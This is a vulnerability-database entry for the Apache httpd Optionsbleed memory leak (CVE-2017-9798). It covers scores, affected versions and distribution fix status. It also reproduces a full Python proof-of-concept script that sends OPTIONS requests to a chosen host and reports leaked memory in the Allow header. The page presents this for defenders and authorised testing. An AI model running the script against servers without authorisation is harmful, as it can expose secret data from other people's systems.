CVE-2017-9798

high
Published 2017-09-18 Β· Modified 2026-05-13
CVSS v3
7.5
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N
CVSS v4 NEW
β€”
not yet in upstream
VIR risk
8.5

Description

Apache httpd allows remote attackers to read secret data from process memory if the Limit directive can be set in a user's .htaccess file, or if httpd.conf has certain misconfigurations, aka Optionsbleed. This affects the Apache HTTP Server through 2.2.34 and 2.4.x through 2.4.27. The attacker sends an unauthenticated OPTIONS HTTP request when attempting to read secret data. This is a use-after-free issue and thus secret data is not always sent, and the specific data depends on many factors including configuration. Exploitation with .htaccess can be blocked with a patch to the ap_limit_section function in server/core.c.

Predictions

Exploit likelihood
100%
Patch ETA
β€”

Heuristic predictions, AS-IS, for prioritization only.

Mitigations

No mitigations published for this CVE yet.

The vendor-content worker queues fetches as references arrive (check back in a few minutes). Or β€” if you've already worked around this in production β€” publish your fix to the community-verified tier.

✚ Propose a mitigation on Community β†’ Mitigations published via the community go through AI scoring + 2 human reviewers + 7-day silent objection window before landing here with source_tier=community-verified.

Exploits

Public proof-of-concept code below. AS-IS, for defenders and authorised testing only.

Exploit-DB

EDB-42745 webapps linux python Β· 3 KB
Hanno Bock Β· 2017-09-18

Apache < 2.2.34 / < 2.4.27 - OPTIONS Memory Leak

python exploit Source: Exploit-DB
#!/usr/bin/env python3

# Optionsbleed proof of concept test
# by Hanno BΓΆck

import argparse
import urllib3
import re


def test_bleed(url, args):
    r = pool.request('OPTIONS', url)
    try:
        allow = str(r.headers["Allow"])
    except KeyError:
        return False
    if allow in dup:
        return
    dup.append(allow)
    if allow == "":
        print("[empty] %s" % (url))
    elif re.match("^[a-zA-Z]+(-[a-zA-Z]+)? *(, *[a-zA-Z]+(-[a-zA-Z]+)? *)*$", allow):
        z = [x.strip() for x in allow.split(',')]
        if len(z) > len(set(z)):
            print("[duplicates] %s: %s" % (url, repr(allow)))
        elif args.all:
            print("[ok] %s: %s" % (url, repr(allow)))
    elif re.match("^[a-zA-Z]+(-[a-zA-Z]+)? *( +[a-zA-Z]+(-[a-zA-Z]+)? *)+$", allow):
        print("[spaces] %s: %s" % (url, repr(allow)))
    else:
        print("[bleed] %s: %s" % (url, repr(allow)))
    return True


parser = argparse.ArgumentParser(
         description='Check for the Optionsbleed vulnerability (CVE-2017-9798).',
         epilog="Tests server for Optionsbleed bug and other bugs in the allow header.\n\n"
         "Autmatically checks http://, https://, http://www. and https://www. -\n"
         "except if you pass -u/--url (which means by default we check 40 times.)\n\n"
         "Explanation of results:\n"
         "[bleed] corrupted header found, vulnerable\n"
         "[empty] empty allow header, does not make sense\n"
         "[spaces] space-separated method list (should be comma-separated)\n"
         "[duplicates] duplicates in list (may be apache bug 61207)\n"
         "[ok] normal list found (only shown with -a/--all)\n",
         formatter_class=argparse.RawTextHelpFormatter)
parser.add_argument('hosttocheck',  action='store',
                    help='The hostname you want to test against')
parser.add_argument('-n', nargs=1, type=int, default=[10],
                    help='number of tests (default 10)')
parser.add_argument("-a", "--all", action="store_true",
                    help="show headers from hosts without problems")
parser.add_argument("-u", "--url", action='store_true',
                    help="pass URL instead of hostname")
args = parser.parse_args()
howoften = int(args.n[0])

dup = []

# Note: This disables warnings about the lack of certificate verification.
# Usually this is a bad idea, but for this tool we want to find vulnerabilities
# even if they are shipped with invalid certificates.
urllib3.disable_warnings(urllib3.exceptions.InsecureRequestWarning)

pool = urllib3.PoolManager(10, cert_reqs='CERT_NONE')

if args.url:
    test_bleed(args.hosttocheck, args)
else:
    for prefix in ['http://', 'http://www.', 'https://', 'https://www.']:
        for i in range(howoften):
            try:
                if test_bleed(prefix+args.hosttocheck, args) is False:
                    break
            except Exception as e:
                pass

Metasploit modules

Apache Optionsbleed Scanner
Source fetch failed: fetch_error β€” view the original via the link above.

OS impact

suse SUSE Affected 1 release
VersionStatusFixed in
β€” Affected β€”
debian Debian Mixed 8 releases
VersionStatusFixed in
trixie Fixed 2.4.27-6
sid Fixed 2.4.27-6
forky Fixed 2.4.27-6
bullseye Fixed 2.4.27-6
bookworm Fixed 2.4.27-6
9.0 Affected β€”
8.0 Affected β€”
7.0 Affected β€”
arch Arch Fixed 1 release
VersionStatusFixed in
β€” Fixed 2.4.27-2

Application impact

VendorProductVersionsFixed
apache apachehttp_server{"endIncluding":"2.2.34"}
apache apachehttp_server2.4.0
apache apachehttp_server2.4.1
apache apachehttp_server2.4.2
apache apachehttp_server2.4.3
apache apachehttp_server2.4.4
apache apachehttp_server2.4.6
apache apachehttp_server2.4.7
apache apachehttp_server2.4.9
apache apachehttp_server2.4.10
apache apachehttp_server2.4.12
apache apachehttp_server2.4.16
apache apachehttp_server2.4.17
apache apachehttp_server2.4.18
apache apachehttp_server2.4.20
apache apachehttp_server2.4.23
apache apachehttp_server2.4.25
apache apachehttp_server2.4.26
apache apachehttp_server2.4.27

References

CWEs

CWE-416

Community-verified mitigations for this CVE will appear above when contributors publish them.

Verify integrity in audit chain (admin only). AS-IS.